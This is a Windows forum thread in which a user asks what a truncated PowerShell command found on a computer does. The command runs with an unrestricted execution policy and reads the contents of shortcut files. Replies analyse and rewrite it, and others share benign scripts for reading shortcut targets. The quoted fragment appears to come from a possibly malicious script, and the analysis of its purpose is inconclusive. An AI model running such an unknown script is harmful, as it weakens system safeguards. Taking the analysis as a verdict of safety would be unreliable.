Power shell script


  1. Posts : 2
    10
       #1

    Power shell script


    Not sure where to post this.

    Can anyone tell me what this does.

    C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted function IJ($A) {$L = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$Hu = [String](Get-Content $_.FullName);$

    Someone found it on there computer, I could not answer the question for him.
    powershell script - is it dangerous? - Windows 10

    Thanks for any insight
      My Computer


  2. Posts : 3,453
       #2

    zep516 said:
    Not sure where to post this.
    Can anyone tell me what this does.
    C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy UnRestricted function IJ($A) {$L = $Null;Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$Hu = [String](Get-Content $_.FullName);$
    Someone found it on there computer, I could not answer the question for him.
    powershell script - is it dangerous? - Windows 10

    Thanks for any insight
    It's only part of s script.

    The code sets the Excecutionpolicy to Unrestricted (not good)

    It then iterates through supposedly a folder passed to the function of all shortcuts in that folder

    and copies the contents of each shortcut.

    It's useless without parameters being passed to it.

    To test run it like this:

    Code:
    $A = Join-Path $env:USERPROFILE -ChildPath 'desktop'
    function IJ($A) 
    {
    $L = $Null
    Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | 
    ? {$_.Extension -eq '.lnk'} | 
    % {$Hu = [String](Get-Content $_.FullName)}
    
    Write-Host $Hu
    }
    
    IJ($A)
    The output would be:

    Code:
    L              F@      Mpv:O)dUMט2                    3 PO :i +00 /C:\                    1     R PROGRA~2         RYa SG.   0             V     r  P r o g r a m   F i l e s   ( x 8 6 )   @ s h e l l 3 2 . d l l , - 2 1 8 1 7    \ 1     R MICROS~1  D       ᄡRǸ SG.   J                     M i c r o s o f t    N 1      SѶ0 Edge  :       ᄡRǸ SG.   K                   CjL E d g e    b 1      SӶ0 Application H       ᄡRǸ SG.   L                   A p p l i c a t i o n    ` 2 2 R}F  msedge.exe  F       ᄡRǸ SѶ.   6                   m s e d g e . e x e      k            -       j         ?@    C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe   B r o w s e   t h e   w e b B . . \ . . \ . . \ P r o g r a m   F i l e s   ( x 8 6 ) \ M i c r o s o f t \ E d g e \ A p p l i c a t i o n \ m s e d g e . e x e 1 C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ M i c r o s o f t \ E d g e \ A p p l i c a t i o n < C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ M i c r o s o f t \ E d g e \ A p p l i c a t i o n \ m s e d g e . e x e      %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe                                                                                                                                                                                                           % P r o g r a m F i l e s ( x 8 6 ) % \ M i c r o s o f t \ E d g e \ A p p l i c a t i o n \ m s e d g e . e x e                                                                                                                                                                                                                                                                                                                                                                                                                             *            @Z| KJ   `      X       desktop-aq7pnp0 ҧӓ(JJę)旲BA6Wr:ux|ҧӓ(JJę)旲BA6Wr:ux|            1SPSXFL8C&mm          .   S - 1 - 5 - 2 1 - 3 9 5 2 2 9 2 4 0 6 - 9 9 7 9 1 6 6 7 1 - 3 6 3 3 8 3 9 8 2 7 - 1 0 0 1       N   1SPSU(Ly9K-             !             M S E d g e         9   1SPSmD*pHH@.=x   h    H   qLF:J+<F
    Edit:

    This is (I suppose) what the author intended:

    Code:
    function IJ($A) 
    {
    $L = $Null #<--Not sure what this is supposed to do
    
    Get-ChildItem $A -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | 
    ? {$_.Extension -eq '.lnk'} |
    % $_ {($Hu = [String](Get-Content $_.FullName) + [Environment]::NewLine)} | #Original script does not implement ForEach properly - fixed here
    
    #Create a text file with the shortcuts' content
    Out-File (Join-Path $A -ChildPath 'Test.txt')
    }
    
    
    #Add a folder with shortcuts
    $A = Join-Path $env:USERPROFILE -ChildPath 'Desktop'
    
    
    #Run it 
    IJ($A)
    It produces a text file in the same folder at the shortcuts (in this eg. Desktop) containing all the shortcuts' innards. I can't figure what the use of this may be.
    Last edited by Superfly; 16 Aug 2021 at 04:58.
      My Computer


  3. Posts : 2
    10
    Thread Starter
       #3

    Thank you very much for that.
      My Computer


  4. Posts : 18,044
    Win 10 Pro 64-bit v1909 - Build 18363 Custom ISO Install
       #4

    I am NOT really up with PowerShell, but I would find this useful because I have a Toolbar with MANY Shortcuts, and it would be very useful to have the Target: and Start in: entries. Even the Icon Name and Icon Path for Custom Icons that are used.

    I will have a look into this tomorrow for either a Batch Script or PowerShell Script solution.
      My Computer


  5. Posts : 3,453
       #5

    zep516 said:
    Thank you very much for that.
    You are welcome - please check unknown scripts and verify

    ... and just in case anyone is still confused - The Joker always saves the day ... just saying...
      My Computer


  6. Posts : 989
    Microsoft Windows 10 Home
       #6

    Paul Black said:
    I am NOT really up with PowerShell, but I would find this useful because I have a Toolbar with MANY Shortcuts, and it would be very useful to have the Target: and Start in: entries. Even the Icon Name and Icon Path for Custom Icons that are used.

    I will have a look into this tomorrow for either a Batch Script or PowerShell Script solution.
    The target of a .lnk file is available as a column in Explorer:

    Power shell script-link-target-column.png

    So a Filter can be created to invoke Add-Member add the target as a propetrty of the FileInfo object retruned by Get-ChildItem:

    Code:
    Filter Add-LnkTarget
    {
        If ( $_.Extension -notLike '.lnk' )
        {
            $_ | Add-Member -NotePropertyName LnkTarget -NotePropertyValue $Null
        }
        Else
        {
            $S = { (New-Object -Com shell.application).NameSpace($this.DirectoryName).ParseName($this.Name).ExtendedProperty('LinkTarget') }
            $_ | Add-Member -MemberType ScriptProperty -Name LnkTarget -Value $s -PassThru
        }
    }

    And can then be used in the pipeline:
    Code:
    gci | Add-LnkFileTarget | select name , LnkFileTarget | ft -AutoSize -Wrap

    If you want all the properties of a .lnk file, make the property a custom object:
    Code:
    Filter Add-LnkInfo
    {
        If ( $_.Extension -notLike '.lnk' )
        {
            $_ | Add-Member -NotePropertyName LnkInfo -NotePropertyValue $Null
        }
        Else
        {
            $wsh = New-Object -Com wscript.shell
            $s2  = { [PSCustomObject](($wsh.CreateShortcut($This.FullName)).PSObject.Properties | % -Begin {$hash=@{}} -Process {$hash.Add($_.Name,$_.Value)} -End {$hash}) }
            $_ | Add-Member -MemberType ScriptProperty -Name LnkInfo -Value $s2 -PassThru
        }
    }

    and could be used like this:
    Code:
    gci *.lnk | Add-lnkInfo | select name , {$_.LnkInfo.TargetPath} , {$_.LnkInfo.WorkingDirectory} | Format-List

    --- or ---
    Code:
    gci *.lnk | Add-lnkInfo | select name -ExpandProperty LnkInfo | Out-GridView


    If you add the Filter defintions to your PowerShell profile, they'll be available in every PS session.
    Last edited by KeithM; 17 Aug 2021 at 00:59. Reason: Code correcton/improvements
      My Computer


  7. Posts : 18,044
    Win 10 Pro 64-bit v1909 - Build 18363 Custom ISO Install
       #7

    Thanks for the reply, time, and information @KeithM.

    I will have a look at this over the next day or two. I just need it to iterate through a folder on the Root of C:\ and extract the Target:, Start in:, Icon Name, and Icon Path.

    I might start a new thread for this as I do NOT want to hijack the OPs Thread.

      My Computer


 

  Related Discussions
Our Sites
Site Links
About Us
Windows 10 Forums is an independent web site and has not been authorized, sponsored, or otherwise approved by Microsoft Corporation. "Windows 10" and related materials are trademarks of Microsoft Corp.

Designer Media Ltd
All times are GMT -5. The time now is 23:37.
Find Us




Windows 10 Forums